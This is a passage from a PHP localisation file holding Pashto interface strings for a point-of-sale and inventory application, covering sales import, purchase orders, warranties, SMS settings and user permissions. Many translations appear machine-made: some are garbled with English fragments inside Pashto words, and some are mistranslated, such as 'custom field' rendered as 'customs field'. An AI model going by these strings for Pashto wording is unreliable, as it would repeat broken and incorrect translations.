خالي پریږدئ که چیرې تاسو دې بندیز ته اړتیا نلرئ.', 'max_redeem_point_tooltip' => 'اعظمي نقطې چې په یو ترتیب کې وکارول شي. دا خالي پریږدئ که تاسو دې بندیز ته اړتیا نه ولرئ.', 'rp_expiry_period_tooltip' => '<strong> د پیرودونکي لخوا ترلاسه شوي ټکو لپاره د پای وخت. </strong> <br> <br> تاسو دا په میاشتو یا کال کې ټاکلی شئ. ختمیدونکي ټکي به د دې مودې وروسته په اوتومات ډول د پیرودونکي حساب څخه وګرځول شي.', 'configure_product_search' => 'د محصول لټون تنظیم کړئ', 'search_products_by' => 'لخوا د محصولاتو لټون', 'credit_sales' => 'د کریډیټ پلور', 'total_payment' => 'بشپړ تادیه', 'deactivate_location' => 'ځای غیر فعال کړئ', 'activate_location' => 'ځای فعال کړئ', 'business_location_activated_successfully' => 'د سوداګرۍ موقعیت په بریالیتوب سره فعال شو', 'business_location_deactivated_successfully' => 'د سوداګرۍ موقعیت په بریالیتوب سره غیر فعال شو', 'show_credit_sale_button' => 'د کریډیټ پلور تtonۍ وښایاست', 'show_credit_sale_btn_help' => 'که چیرې د کریډیټ پلور فعال شوی ت buttonۍ به د پوسټ سکرین کې د کارت ت buttonۍ په ځای کې ښودل شي', 'credit_sale' => 'کریډیټ پلور', 'tooltip_credit_sale' => 'د کریډیټ پلور په توګه چیک چیک', 'add_as_sub_txonomy' => 'د فرعي محصول په توګه اضافه کړئ', 'select_parent_taxonomy' => 'د اصلي ټاټوبي غوره کول', 'warranty' => 'تضمین', 'warranties' => 'تضمین', 'all_warranties' => 'ټول تضمین', 'add_warranty' => 'تضمین اضافه کړئ', 'duration' => 'موده', 'edit_warranty' => 'تضمین تضمین کړئ', 'enable_product_warranty' => 'تضمین وړ کړئ', 'warranty_ends_on' => 'تضمین پای ته رسیږي', 'restaurant_module_settings' => 'د رستورانت ماډل تنظیمات', 'warranty_module_settings' => 'د ضمانت تضمین تنظیمات', 'show_warranty_name' => 'د تضمین نوم وښایاست', 'show_warranty_exp_date' => 'د تضمین پای وخت وښایاست', 'show_warranty_description' => 'د تضمین شرح ښودل', 'gender' => 'جندر', 'male' => 'نارینه', 'female' => 'ښځینه', 'others' => 'نور', 'recent_transactions' => 'وروستي معاملې', 'add_row' => 'قطار اضافه کړئ', 'add_widget_here' => 'دلته یو ویجټ اضافه کړئ', 'move_row' => 'قطار حرکت کړئ', 'configure_dashboard' => 'ډشبورډ تنظیم کړئ :name', 'change_return_label' => 'د راستنیدو لیبل بدل کړئ', 'change_return_help' => 'د بدل بیرته راستنیدل هغه مقدار دی چې پیرودونکي ته بیرته راشي که چیرې اضافي تادیه ترسره شي.', 'profile_photo' => 'د پروفایل عکس', 'upload_image' => 'اپلوډ عکس', 'expense_tax' => 'د لګښت مالیه', 'expense_tax_tooltip' => 'د ټاکل شوي وخت مودې لپاره د سوداګرۍ لګښتونو لپاره تادیه شوي مالیه', 'tax_overall' => 'په ټوله کې (ننوتنه - محصول - لګښت)', 'overdue' => 'ډیر', 'partial-overdue' => 'یو څه ډیرښت', 'due_date_label' => 'د ټاکلې نیټې لیبل', 'show_due_date' => 'ټاکل شوې نېټه وښایاست', 'contact_custom_field1' => 'د ګمرک ساحه 1', 'contact_custom_field2' => 'د ګمرک ساحه 2', 'contact_custom_field3' => 'د ګمرک ساحه 3', 'contact_custom_field4' => 'د ګمرک ساحه 4', 'added_by' => 'اضافه شوی لخوا', 'authorized_signatory' => 'باوري شوی لاسلیکونکی', 'no_location_access_found' => 'د موقعیت لاسرسی ونه موندل شو', 'location_custom_field1' => 'د ګمرک ساحه 1', 'location_custom_field2' => 'د ګمرک ساحه 2', 'location_custom_field3' => 'د ګمرک ساحه 3', 'location_custom_field4' => 'د ګمرک ساحه 4', 'user_custom_field1' => 'د ګمرک ساحه 1', 'user_custom_field2' => 'د ګمرک ساحه 2', 'user_custom_field3' => 'د ګمرک ساحه 3', 'user_custom_field4' => 'د ګمرک ساحه 4', 'logo_not_work_in_sms' => 'د سوداګرۍ لوګو به په SMS کې کار ونکړي', 'notification_email_tooltip' => 'د لاسته راوړونکي بریښنالیکونو کامي څخه جلا شوې تار', 'heading' => 'سرلیک', 'added_by' => 'اضافه شوی لخوا', 'updated_at' => 'تازه شوی', 'documents_and_notes' => 'لاسوندونه او یادداشت', 'add_note' => 'یادښت اضافه کړئ', 'edit_note' => 'یادداشت سمول', 'is_private' => 'ایا خصوصي ده؟', 'private' => 'خصوصي', 'documents' => 'لاسوندونه', 'note_will_be_visible_to_u_only' => 'یادښت او لاسوند به یوازې تاسو ته د لیدو وړ وي', 'activities' => 'فعالیتونه', 'no_limit' => 'محدودیت نشته', 'contains_media' => 'دا نوټ میډیا لري', 'private_note' => 'دا شخصي یادونه ده', 'amount_rounding_method' => 'د مقدار ورکونې میتود', 'round_to_nearest_whole_number' => 'تر ټولو نږدې شمیر ته رسیدل', 'round_to_nearest_decimal' => 'نږدی ډیسی لسم (د :multiple)', 'amount_rounding_method_help' => 'مثال: <br><b>تر ټولو نږدې ټوله شمیره:</b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br><b>تر ټولو نږدې لسیز (د 0.05 ضرب):</b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15', 'round_off' => 'پړاو بند', 'round_off_label' => 'د راډ آف ليبل', 'total_sell_round_off' => 'د ټولټال پلور دور ', 'user_info' => 'د کارونکي معلومات', 'enable_weighing_scale' => 'د وزن اندازه کول', 'weighing_scale_setting' => 'د تیلو اندازه بارکوډ تنظیم', 'weighing_scale_setting_help' => 'د خپل د وزن اندازې مطابق بارکوډ تنظیم کړئ.', 'weighing_barcode_prefix' => 'مختاړی', 'weighing_product_sku_length' => 'د محصول اسکو اوږدوالی', 'weighing_qty_integer_part_length' => 'د مقدار بشپړې برخې اوږدوالی', 'weighing_qty_fractional_part_length' => 'د مقدار برخې برخې برخې اوږدوالی', 'weighing_scale' => 'د وزن اندازه', 'weighing_scale_barcode' => 'د وزن د کچې بارکوډ', 'weighing_scale_barcode_help' => 'د وزن له پلور څخه بارکوډ سکین کړئ او وسپارئ', 'prefix_did_not_match' => 'مختاړی سره سمون نه خوری', 'sku_not_match' => 'د سکو سره هیڅ محصول ونه موندل شو: سکو', 'total_quantity_label' => 'د ټول مقدار مقدار لیبل', 'account_summary' => 'د حساب لنډیز', 'ledger_table_heading' => 'تر منځ ټول رسیدونه او تادیات ښیې: د پیل_ نیټې او: پای_ نیټې', 'beginning_balance' => 'د پیل توازن', 'total_invoice' => 'بشپړ رسید', 'balance_due' => 'توازن ورکول', 'send_ledger' => 'لیجر ولېږئ', 'notifications' => 'خبرتیاوې', 'ledger_attacment_help' => 'لیجر به د دې بریښنالیک سره د پی ډی ایف ب formatه کې ضمیمه شي', 'upload_module' => 'د اپلوډ موډل ', 'upload' => 'اپلوډ', 'pls_upload_valid_zip_file' => 'مهرباني وکړئ یو معتبر زپ فایل اپلوډ کړئ.', 'import_sales' => 'د پلور واردات', 'preview_imported_sales' => 'وارد شوي پلور ته کتنه', 'customer_phone_number' => 'د پیرودونکي تلیفون شمیره', 'customer_email' => 'د پیرودونکي بریښنالیک', 'item_tax' => 'د توکو مالیه', 'item_discount' => 'توکی رعایت', 'item_description' => 'د توکي توضیحات', 'order_total' => 'ټولټال امر کړئ', 'upload_and_review' => 'اپلوډ او بیاکتنه', 'group_sale_line_by' => 'د ګروپ د پلور کرښه', 'import_sale_product_not_found' => 'محصول د نوم سره :product_name یا sku :sku په قطار کې نشته :row', 'import_sale_tax_not_found' => 'د نوم سره مالیه :tax_name نوم په قطار کې ونه موندل شو :row', 'email_or_phone_required' => 'د پیرودونکي تلیفون یا بریښنالیک اړین دی', 'product_name_or_sku_is_required' => 'د محصول نوم یا SKU اړین دی', 'quantity_is_required' => 'مقدار اړین دی', 'unit_price_is_required' => 'د واحد قیمت اړین دی', 'sales_imported_successfully' => 'پلور په بریالیتوب سره وارد شو', 'upload_data_in_excel_format' => 'په ایکسل فارمیټ کې د پلور ډاټا اپلوډ کړئ', 'map_columns_with_respective_sales_fields' => 'د هر کالم لپاره د اړونده پلور ساحې غوره کړئ', 'choose_location_and_group_by' => 'د سوداګرۍ موقعیت او کالم غوره کړئ چې له مخې به د پلور لاینونه سره ډله شي', 'date_format_instruction' => "د پلور نیټه وخت ب formatه باید 'Y-m-d H:i:s' (2020-07-15 17:45:32) وي ,", 'product_name_single_only' => 'د محصول نوم (یوازې یو یا کومبو محصولات)', 'product_sku' => 'محصول SKU', 'product_unit' => 'د محصول واحد', 'import_sale_unit_not_found' => 'د نوم سره واحد :unit_name په قطار کې ونه موندل شو :row', 'types_of_servicet_not_found' => 'د نوم سره د خدماتو ډولونه :types_of_service_name په قطار کې ندی موندل شوی :row', 'email_or_phone_cannot_be_empty_in_row' => 'هرکله د پیرودونکي تلیفون یا بریښنالیک په قطار کې اړین دی :row', 'product_cannot_be_empty_in_row' => 'د محصول نوم یا محصول SKU په قطار کې اړین دی :row', 'quantity_cannot_be_empty_in_row' => 'د محصول مقدار په قطار کې اړین دی :row', 'unit_price_cannot_be_empty_in_row' => 'د واحد قیمت په قطار کې اړین دی :row', 'imports' => 'واردات', 'invoices' => 'انوائسز', 'import_batch' => 'واردونکې ډله', 'import_time' => 'وارد وخت', 'cannot_select_a_field_twice' => 'تاسو نشئ کولی دوه ځله ساحه وټاکئ', 'revert_import' => 'واردول بیرته', 'import_reverted_successfully' => 'واردات په بریالیتوب سره بدل شوي', 'importable_fields' => 'د پام وړ ډګرونه', 'sort_order' => 'سمبالول, منظمول', 'total_returned' => 'بشپړ بیرته راغلی', 'skip' => 'سکایپ', 'group_by_tooltip' => 'په ورته رسید کې د پلور لاینونو ګروپ کولو کالم', 'allowed_file' => 'اجازه شوې دوتنه', 'detailed_with_purchase' => 'تفصیلي (د پیرودلو سره)', 'supplier_name' => 'د عرضه کونکي نوم', 'purchase_ref_no' => 'د پیرود ریف.', 'save_and_print' => 'خوندي او چاپ', 'update_and_print' => 'تازه کول او چاپ', 'all_your_discounts' => 'ستاسو ټول تخفیفونه', 'priority' => 'لومړیتوب', 'starts_at' => 'پیل کیږي', 'ends_at' => 'پای ته رسيږي', 'used_for_browser_based_printing' => 'د براوزر پر بنسټ چاپولو لپاره کارول', 'hsn_or_category_code' => 'HSN یا د کټګورۍ کوډ', 'discounts' => 'تخفیفونه', 'allow_overselling' => 'د پلور اجازه ورکول', 'view_own_purchase' => 'یوازې خپل پیرود وګورئ', 'view_own_expense' => 'یوازې خپل مصرف وګورئ', 'allow_login' => 'ننوتل اجازه', 'login_not_allowed' => 'ننوتل اجازه نلري', 'labels_for_contact_custom_fields' => 'د اړیکې دودیز برخو لپاره لیبلونه', 'labels_for_product_custom_fields' => 'د محصول دودیز برخو لپاره لیبلونه', 'labels_for_purchase_custom_fields' => 'د پیرود کونکي ساحو لپاره لیبل', 'labels_for_sell_custom_fields' => 'د ګمرکي ځمکو د پلور لپاره لیبلونه', 'labels_for_location_custom_fields' => 'د ځای دودیز ساحو لپاره لیبلونه', 'labels_for_types_of_service_custom_fields' => 'د خدماتو دودیز برخو کې لیبلونه', 'labels_for_user_custom_fields' => 'د کارونکي ګمرکي ساحو لپاره لیبلونه', 'total_transfer_shipping_charge' => 'د لیږدونې ټول لیږد لګښت', 'total_purchase_shipping_charge' => 'د پیرودلو بشپړ بار محصول', 'total_sell_shipping_charge' => 'د ټولټال پلور وړلو چارج', 'opening_stock_location' => 'د سټاک موقعیت خلاصول', 'product_locations_ins' => 'د سوداګرۍ موقعیت نومونو کامي څخه جلا شوې تار چیرې چې محصول به شتون ولري', 'product_locations' => 'محصول موقعیتونه', 'view_products' => 'محصول وګورئ', 'pos_screen_featured_products' => 'POS سکرین ب Featه شوي محصولات', 'featured_products_help' => 'غوره شوي محصولات به د لاسرسي لپاره د پوزې سکرین محصول وړاندیز په سر کې ښودل شي', 'purchase_report' => 'د پیرود راپور', 'sale_report' => 'د پلور راپور', 'payment_date' => 'د تادیې نیټه', 'year_month' => 'کال / میاشت', 'lead' => 'مخکښ', 'featured_products' => 'ب Productsه شوي محصولات', 'repeat_on' => 'تکرارول', 'access_tables' => 'لاسرسی میزونو', 'access_printers' => 'چاپګرانو ته لاسرسی', 'access_types_of_service' => 'د خدمت ډولونو لاسرسی', 'search_address' => 'د لټون پته', 'contact_locations' => 'د تماس ځایونه', 'map' => 'نقشه', 'both_customer_and_supplier' => 'دواړه پیرودونکي او عرضه کونکي', 'service' => 'خدمت', 'either_cust_email_or_phone_required' => 'بیا د پیرودونکي بریښنالیک ID یا د تلیفون شمیره اړین ده', 'either_product_name_or_sku_required' => 'د محصول نوم (د واحد او کومبو لپاره) یا د محصول سکو اړتیا ده', 'show_invoice_scheme' => 'د انوائس سکیم وښایاست', 'select_invoice_scheme' => 'د انوائس سکیم غوره کړئ', 'recurring_expense_help' => 'که چک شوي وي نو دا لګښت به په اوتومات ډول په منظم وقفیو کې تولید شي.', 'recur_interval' => 'تکرار وقف', 'recur_expense_repetition_help' => 'که چیرې خالي لګښتونه نامعلوم وختونه رامینځته شي', 'recurring_expense_message' => 'نوی تکرار شوی لګښت پیدا شوی. د حوالې شمیره: <ii>:ref_no </i>', 'recurring_expense' => 'د تکرار لګښت', 'generated_recurring_expense' => 'د پیښیدونکي تکرار لګښت', 'select_contacts' => 'اړیکې غوره کړئ', 'middle_name' => 'منځنی نوم', 'address_line_1' => 'د پتې لمبر 1', 'address_line_2' => 'د ادرس کرښه 2', 'dob' => 'د زیږیدو نیټه', 'dob_ins' => 'Y-m-d بmatه کړئ ', 'by_purchase_price' => 'د پیرود نرخ لخوا', 'by_sale_price' => 'د پلور نرخ لخوا', 'potential_profit' => 'احتمالي ګټه', 'apply_all' => 'ټول وکاروئ', 'hide_all_prices' => 'ټول نرخونه پټول', 'select_invoice_layout' => 'د انوائس ترتیب غوره کړئ', 'max_sales_discount_percent' => 'د اعظمي پلور تخفیف سلنه', 'max_sales_discount_percent_help' => 'د رعایت اعظمي حد چې یو کاروونکی کولی شي د پلور پرمهال ورکړي. دا د هیڅ خنډ لپاره خالي پریږدئ', 'max_discount_error_msg' => 'تاسو کولی شئ په هر پلور اعظمي :discount% تخفیف ورکړئ', 'show_invoice_layout' => 'د انوائس لیږد ډراپاونډ وښایئ', 'recurred_from' => 'له سره تکرار شوی', 'recur_details' => 'د تکرار توضیحات', 'recurring' => 'تکرار', 'view_product_stock_value' => 'د محصول سټاک ارزښت وګورئ', 'added' => 'اضافه', 'disable_credit_sale_button' => 'د کریډیټ پلور ت buttonۍ غیر فعال کړئ', 'pay' => 'تادیه', 'use_advance_balance' => 'د مخکینۍ توازن کارول', 'advance' => 'پرمختللي', 'advance_balance' => 'پرمختللي توازن', 'advance_payment' => 'مخکینۍ تادیه', 'required_advance_balance_not_available' => 'مطلوب پرمختللی توازن شتون نلري', 'in_transit' => 'په لیږد کې', 'edit_stock_transfer' => 'سمون د سټاک لیږد', 'completed_status_help' => 'د سټاک لیږد به د ترمیم وړ نه وي که حالت بشپړ شي', 'no_data' => 'هیڅ ډاټا', 'sms_service' => 'SMS خدمت', 'nexmo_key' => 'Nexmo Key', 'nexmo_secret' => 'Nexmo راز', 'twilio_token' => 'Twilio لاسرسی توکین', 'twilio_sid' => 'Twilio حساب SID', 'upcoming' => 'راتلونکی', 'final' => 'نهایی', 'expense_for_contact' => 'د تماس لپاره لګښت', 'create' => 'جوړول', 'waiting' => 'انتظار', 'sms_settings_header_key' => 'سرۍ: شمېره کیلي', 'sms_settings_header_val' => 'سرۍ: د ارزښت ارزښت', 'stock_adjustment_details' => 'د سټاک تنظیم کولو توضیحات', 'stock_transfer_details' => 'د سټاک لیږد توضیحات', 'invoice_layout_for_pos' => 'د POS لپاره د انوائس ترتیب', 'invoice_layout_for_sale' => 'د پلور لپاره رسید ترتیب', 'invoice_layout_for_sale_tooltip' => 'د مستقیم پلور لپاره د رسید ترتیب', 'new_quotation' => 'نوې نرخ', 'new_quotation_notification' => 'د نرخ ورکولو نوی خبرتیا', 'view_quote_url' => 'د نرخ یو آر ایل وګورئ', 'close_cash_register' => 'نغدي راجستر بند کړئ', 'view_cash_register' => 'د نغدي راجستر وګورئ', 'for_tax_group_only' => 'یوازې د مالیې ډلې لپاره', 'for_tax_group_only_help' => 'که چک شوی وي , دا مالیه به په انفرادي ډول د پریښودو کې نه ښودل کیږي , یوازې د مالیې ګروپ کې اضافه کیدی شي', 'exempt' => 'معافیت', 'tax_exempt_help' => 'د صفر سلنه مالیې نرخ به د مالیې معافیت په توګه وګ beل شي', 'show_total_in_words' => 'په ټکو کې ټول ښودل', 'show_in_word_help' => 'د پی ایچ پی - انټل توضیحي فعالولو ته اړتیا لري', 'print_on_suspend' => 'ځنډول په ځنډول', 'view_all_customer' => 'ټول پیرودونکي وګورئ', 'view_own_customer' => 'خپل پیرودونکي وګورئ', 'view_all_supplier' => 'ټول عرضه کونکي وګورئ', 'view_own_supplier' => 'خپل عرضه کونکی وګورئ', 'label_help' => 'بارکوډ / لیبل چاپ کړئ', 'connection_type_windows' => 'د وینډوز ډول وینډوز', 'connection_type_linux' => 'د اتصال ډول ډول لینکس', 'windows_type_help' => 'د وسیلې فایلونه به د لیکو په اوږدو کې وي', 'linux_type_help' => 'ستاسو د چاپګر وسیلې دوسیه به داسې وي لکه', 'due_date' => 'د تاریخ په مطابق', 'quotation_no' => 'د نرخ شمیره ', 'browser_based_printing' => 'د براوزر پر بنسټ چاپ', 'configured_printer' => 'د تشکیل شوي رسید پرنټر کارول', 'for_normal_printer' => 'د عادي چاپګر لپاره', 'recomended_for_80mm' => 'د تودوخې لین رسید پرنټر لپاره وړاندیز شوی , د 80 ملي کاغذ اندازه', 'recomended_for_58mm' => 'د تودوخې لین رسید پرنټر لپاره وړاندیز شوی , 80 ملي میتر او 58mm کاغذ اندازه', 'classic' => 'کلاسیک', 'elegant' => 'ښکلی', 'slim' => 'سلم', 'detailed' => 'تفصیل', 'columnize_taxes' => 'د مالیاتو کالمیز کول', 'types_of_service_help_long' => 'د خدماتو ډول پدې معنی دي چې خدمتونه لکه ډین ان ، پارسل ، د کور تحویل ، د دریمې ډلې تحویلۍ وغيره. دا د <code> ترتیبات> ماډلونو </code> څخه فعال / غیر فعال کیدی شي او د <code> ترتیبات> د خدماتو ډولونو څخه رامینځته کیدی شي. </code>. تاسو کولی شئ د خدماتو ډولونو لپاره مختلف قیمت ګروپ او بسته بندۍ هم تعریف کړئ.', 'access_sell_return' => 'د پلور پلور ته لاسرسی', 'system_notification' => 'سیسټم خبرتیا', 'time_range' => 'د وخت وخت ', 'enable_php_intl_extension' => 'د PHP INI ترتیبات کې د php-intl توسیع فعال کړئ', 'profit_note' => '<b> یادونه: </b> د محصولاتو / کټګوریو / برانڈونو لخوا ګټه یوازې په انلاین تخفیف غور کوي. د رسید تخفیف په پام کې نه نیول کیږي.', 'upcoming_bookings' => 'راتلونکی بکنگ', 'is_refund' => 'بیرته ستنیدل', 'is_refund_help' => 'که چک شوي لګښت به بیرته ورکړل شي او په خالصه ګټه کې به اضافه شي', 'refund' => 'بیرته ستنیدل', 'activate' => 'فعال', 'deactivate' => 'غیر فعال', 'add_quotation' => 'نرخ اضافه کړئ', 'product_stock_history' => 'د محصول سټاک تاریخ', 'quantities_in' => 'مقدار په کې', 'quantities_out' => 'مقدارونه بهر', 'in' => 'ان', 'out' => 'بهر', 'totals' => 'ټټلس', 'quantity_change' => 'د مقدار بدلون', 'new_quantity' => 'نوی مقدار', 'no_stock_history_found' => 'د سټاک تاریخ ونه موندل شو', 'add_draft' => 'مسوده اضافه کړئ', 'labels_for_sale_shipping_custom_fields' => 'د ګمرکي ساحې د پلور لیبل لیبل', 'is_required' => 'اړین دی', 'convert_to_invoice' => 'رسید ته واړوئ', 'converted_to_invoice_successfully' => 'انوائس ته بدل شوی :invoice_no په بریالیتوب سره', 'proforma' => 'پروفارما', 'proforma_invoice' => 'پروفارما انوائس', 'convert_to_proforma' => 'د پروفارما انوائس ته بدل کړئ', 'converted_to_proforma_successfully' => 'د پروفارما انوائس ته بدل شوی', 'billing_address' => 'دبیل پته', 'delete_sell' => 'پلور حذف کړئ', 'product_brochure' => 'د محصول بروشرې', 'whatsapp_text' => 'واټس اپ متن', 'auto_send_wa_notif' => 'آټو د واټس اپ خبرتیا لیږئ', 'send_whatsapp' => 'د واټس اپ خبرتیا واستوئ', 'send_sms' => 'پیغام واستوئ', 'send_email' => 'برېښنا لیک ولېږه', 'shipping_documents' => 'د لېږلو اسناد', 'no_attachment_found' => 'هیڅ ضمیمه ونه موندل شوه', 'attachments' => 'ضمیمه', 'print_invoice' => 'چاپ رسید', 'word_format' => 'د کلام بmatه', 'international' => 'نړیوال', 'indian' => 'هندي', 'word_format_help' => 'په نړیواله ب formatه کې لوی شمیر په ملیونونو , ملیاردونو او ټریلیونونو کې ښودل شوی چیرې چې په هندي شکل کې دا په ملیونونو او ملیاردو کې نمایش کیږي', 'shipping_edited' => 'لېږدول سمول', 'payment_edited' => 'تادیه تدوین شوی', 'notification_sent' => 'خبرتیا لیږل شوې', 'imported' => 'وارد شوی', 'logout' => 'وتل', 'backup_clean_command_instruction' => 'د زوړ بیک اپ پاکولو لپاره تاسو باید د دې بولۍ سره د کرون دنده تنظیم کړئ:', 'converted' => 'بدل شوی', 'view_commission_agent_sell' => 'د کمیسیون اجنټ کولی شي خپل پلور وګوري', 'access_commission_agent_shipping' => 'د کمیسیون اجنټ کولی شي خپلو لیږدونو ته لاسرسی ولري', 'access_own_shipping' => 'خپل کښتۍ ته لاسرسی', 'email_notification_sent' => 'د بریښنالیک خبرتیا لیږل شوې', 'sms_notification_sent' => 'د پیغامونو لیږل شوی خبرتیا', 'packing_date' => 'د بسته نیټه ', 'print_exp_date' => 'د پای نیټه نېټه چاپ کړئ', 'print_packing_date' => 'د چاپ بسته نیټه ', 'print_lot_number' => 'د چاپ ډیری نمبر ', 'family_contact_number' => 'د کورنۍ اړیکه شمیره', 'custom_payment' => 'د ګمرک تادیه :number', 'default_credit_limit' => 'د اعتبار کریډیټ حد', 'price_calculation_type' => 'د نرخ محاسبه ډول', 'show_pricing_on_product_sugesstion' => 'د محصول وړاندیز کولو توکیو ته نرخ وښایاست', 'all_purchase_orders' => 'د پیرود ټول امرونه', 'add_purchase_order' => 'د پیرود امر اضافه کړئ', 'edit_purchase_order' => 'د پیرود امر سمول', 'purchase_order_details' => 'د پیرود امر توضیحات', 'enable_purchase_order' => 'د پیرود امر فعال کړئ', 'purchase_order_help_text' => 'د پیرود امر یو سوداګریز سند دی او لومړی رسمي وړاندیز د پیرودونکي لخوا د پلورونکي لخوا صادر شوي ډولونه , مقدار , او د محصولاتو یا خدماتو لپاره منل شوي نرخونه په ګوته کوي. دا د بهرني عرضه کونکو څخه د محصولاتو او خدماتو پیرود کنټرول لپاره کارول کیدی شي. د پیرود امرونه کولی شي د تصدیو سرچینو پلان کولو سیسټم امرونو لازمي برخه اوسئ. ', 'view_all_purchase_order' => 'د پیرود ټول حکم وګورئ', 'view_own_purchase_order' => 'د خپل پیرود امر وګورئ', 'create_purchase_order' => 'د پیرود امر جوړ کړئ', 'delete_purchase_order' => 'د پیرود امر حذف کړئ', 'purchase_order_delete_success' => 'د پیرود امر په بریالیتوب سره ړنګ شو', 'order_quantity' => 'د مقدار مقدار', 'order_date' => 'د سپارنې نیټه', 'max_quantity_quantity_allowed' => 'اعظمي :quantity مقدار اجازه', 'leave_empty_to_autogenerate' => 'خپلواکي تولید ته خالي پریږدئ', 'add_edit_invoice_number' => 'د انوائس انوائس نمبر اضافه کړئ', 'keep_blank_to_autogenerate' => 'د اتومات تولید لپاره تشه وساتئ', 'download_pdf' => 'pdf ډاونلوډ کړئ', 'attach_pdf_in_email' => 'په بریښنالیک کې د انوائس pdf ضمیمه کړئ', 'send_sms_whatsapp_notification' => 'ایس ایم ایس / واٹس ایپ خبرتیا واستوئ', 'enable_sales_order' => 'د پلور امر فعال کړئ', 'sales_order' => 'د پلور امر', 'sales_order_help_text' => 'د پلور امر , ځینې وختونه د SO په توګه لنډ شوی یو پیرود ته د سوداګرۍ یا واحد سوداګر لخوا صادر شوی حکم دی. د پلور امر ممکن د محصولاتو او / یا خدماتو لپاره وي.', 'add_sales_order' => 'د پلور حکم اضافه کړئ', 'edit_sales_order' => 'د پلور امر ترمیم کړئ', 'shipping_note' => 'بار وړلو یادداشت', 'code_1_name' => 'کوډ 1 نوم', 'code_2_name' => 'د کوډ 2 نوم', 'code_1' => 'کوډ 1', 'code_2' => 'کوډ 2', 'download_paking_pdf' => 'د بسته بندۍ pdf ډاونلوډ', 'subject_type' => 'د موضوع ډول ', 'activity_log' => 'د فعالیت فعالیت ', 'sell_deleted' => 'له مینځه وړل وپلورئ', 'so_deleted' => 'د پلور امر حذف شوی', 'po_deleted' => 'د پیرود امر ړنګ شو', 'purchase_deleted' => 'پیرود حذف شوی', 'contact_deleted' => 'اړیکه حذف شوې', 'payment_deleted' => 'تادیه حذف شوې', 'quantity_remaining' => 'مقدار پاتې کیدل', 'view_sale' => 'وپلورئ', 'update_sale' => 'تازه پلور', 'add_sell' => 'وپلورئ', 'account_details' => 'د حساب توضیحات', 'label' => 'لیبل', 'prefer_payment_method' => 'د تادیې میتود غوره کړئ', 'prefer_payment_account' => 'د تادیې حساب غوره کړئ', 'this_will_be_shown_in_pdf' => 'غوره شوی میتود / حساب چیرې چې پیرودونکي کولی شي انوائس تادیه کړي. (د کریډیټ انوائس لپاره ګټور)', 'view_own_so' => 'د خپل پلور امر وګورئ', 'view_all_so' => 'د پلور ټول حکم وګورئ', 'create_so' => 'د پلور ترتیب رامینځته کړئ', 'edit_so' => 'د پلور ترتیب ترمیم کړئ', 'delete_so' => 'د پلور امر حذف کړئ', 'types_of_service_custom_field_help' => 'د پلور اضافه کولو پرمهال به شپږ ګمرکي ساحې شتون ولري', 'delete_expense' => 'لګښت حذف کړئ', 'access_all_expense' => 'ټولو لګښتونو ته لاسرسی', 'designation' => 'ډیزاین', 'department' => 'څانګه', 'is_default_for_contact' => 'د اړیکې لپاره ډیفالټ دی', 'individual' => 'انفرادي', 'is_export' => 'صادرات؟', 'export' => 'صادرات', 'export_custom_field1' => 'د ګمرک ساحه 1 صادر کړئ', 'export_custom_field2' => 'د ګمرک ساحه 2 صادر کړئ', 'export_custom_field3' => 'د ګمرک ساحه Ex صادر کړئ', 'export_custom_field4' => 'د ګمرک ساحه Ex صادر کړئ', 'export_custom_field5' => 'د ګمرک ساحه Ex صادر کړئ', 'export_custom_field6' => 'د ګمرک ساحه Ex صادر کړئ', 'enable_export' => 'صادرات فعال کړئ', 'edit_status' => 'وضعیت سمول', 'status_updated' => 'حالت تازه شوی', 'item_discount_label' => 'د توکو رعایت لیبل', 'sales_orders' => 'د پلور امر', 'cash_denominations' => 'نغدي نومونه', 'cash_denominations_help' => 'د کوما څخه جلا شوي ارزښتونه مثال: 100,200,500,2000', 'denomination' => 'ډینومینیشن', 'count' => 'حساب', 'denomination_add_help_text' => 'په ترتیباتو -> سوداګرۍ تنظیماتو -> پوز -> د نغدي امتیازاتو کې فرقونه اضافه کړئ', 'order_dates' => 'د سپارنې نیټې', 'by_category' => 'د کټګورۍ لخوا', 'by_brand' => 'د برانډ لخوا', 'no_brand' => 'نه نښه', 'woocommerce_sync' => 'د WooCommerce Sync', 'enable' => 'وړول', 'disable' => 'ناتوان', 'cmmsn_calculation_type' => 'د کمیسیون محاسب ډول', 'invoice_value' => 'د انوائس ارزښت', 'total_payment_with_commsn' => 'د کمیسیون سره بشپړه تادیه', 'payments_with_cmmsn' => 'د کمیسیون سره تادیه', 'view_all_drafts' => 'ټولې مسودې وګورئ', 'view_own_drafts' => 'خپل مسودې وګورئ', 'edit_draft' => 'مسوده سمول ', 'delete_draft' => 'مسوده ړنګ کړئ', 'view_all_quotations' => 'ټول نرخونه وګورئ', 'view_own_quotations' => 'خپل نرخونه وګورئ', 'edit_quotation' => 'نرخ ایڈیٹ', 'delete_quotation' => 'نرخونه حذف کړئ', 'primary_work_location' => 'د کار لومړني ځای', 'labels_for_purchase_shipping_custom_fields' => 'د ګمرکي ساحې پیرود لیبلونو لپاره', 'view_own_purchase_n_stock_adjustment' => 'د خپل پیرود او سټاک تنظیم کول', 'view_all_purchase_n_stock_adjustment' => 'د ټولو پیرود او سټاک تنظیم کول وګورئ', 'access_all_shipments' => 'ټولو بارونو ته لاسرسی', 'view_all_sale' => 'ټول پلور وګورئ', 'total_quantity' => 'ټول مقدار', 'pending_shipments' => 'پاتې کیدونکې لارښوونې', 'view_paid_sells_only' => 'یوازې تادیه شوي پلور وګورئ', 'view_due_sells_only' => 'یوازې د پلور پلور وګورئ', 'view_partially_paid_sells_only' => 'یوازې په جزوي تادیه شوي پلور وګورئ', 'view_overdue_sells_only' => 'د ځنډ یوازې پلورل وګورئ', 'customer_with_no_sell_one_month' => 'یوازې له یوې میاشتې څخه د پلور پرته پیرودونکي وګورئ', 'customer_with_no_sell_three_month' => 'پیرودونکي وګورئ چې د پلور پرته یوازې درې میاشتې کیږي', 'customer_with_no_sell_six_month' => 'یوازې له شپږو میاشتو پرته پیرودونکي وپلورئ', 'customer_with_no_sell_one_year' => 'یوازې د یو کال څخه پرته د پلور پیرودونکي وګورئ', 'customer_permissions_tooltip' => 'د ټولو پیرودونکو لیدو لپاره چې له ټاکلي وخت څخه پرته له پلور څخه لیدل کیږي <b> ټول پیرودونکي وګورئ </b> اجازې ته اړتیا ده که نه نو دا به د ننوتل شوي کارونکي لخوا رامینځته شوي یوازې د کرومرونو سره فلټر شي', 'sell_permissions_tooltip' => 'د تادیې وضعیت پر بنسټ پلور لیدو لپاره <b> ټول 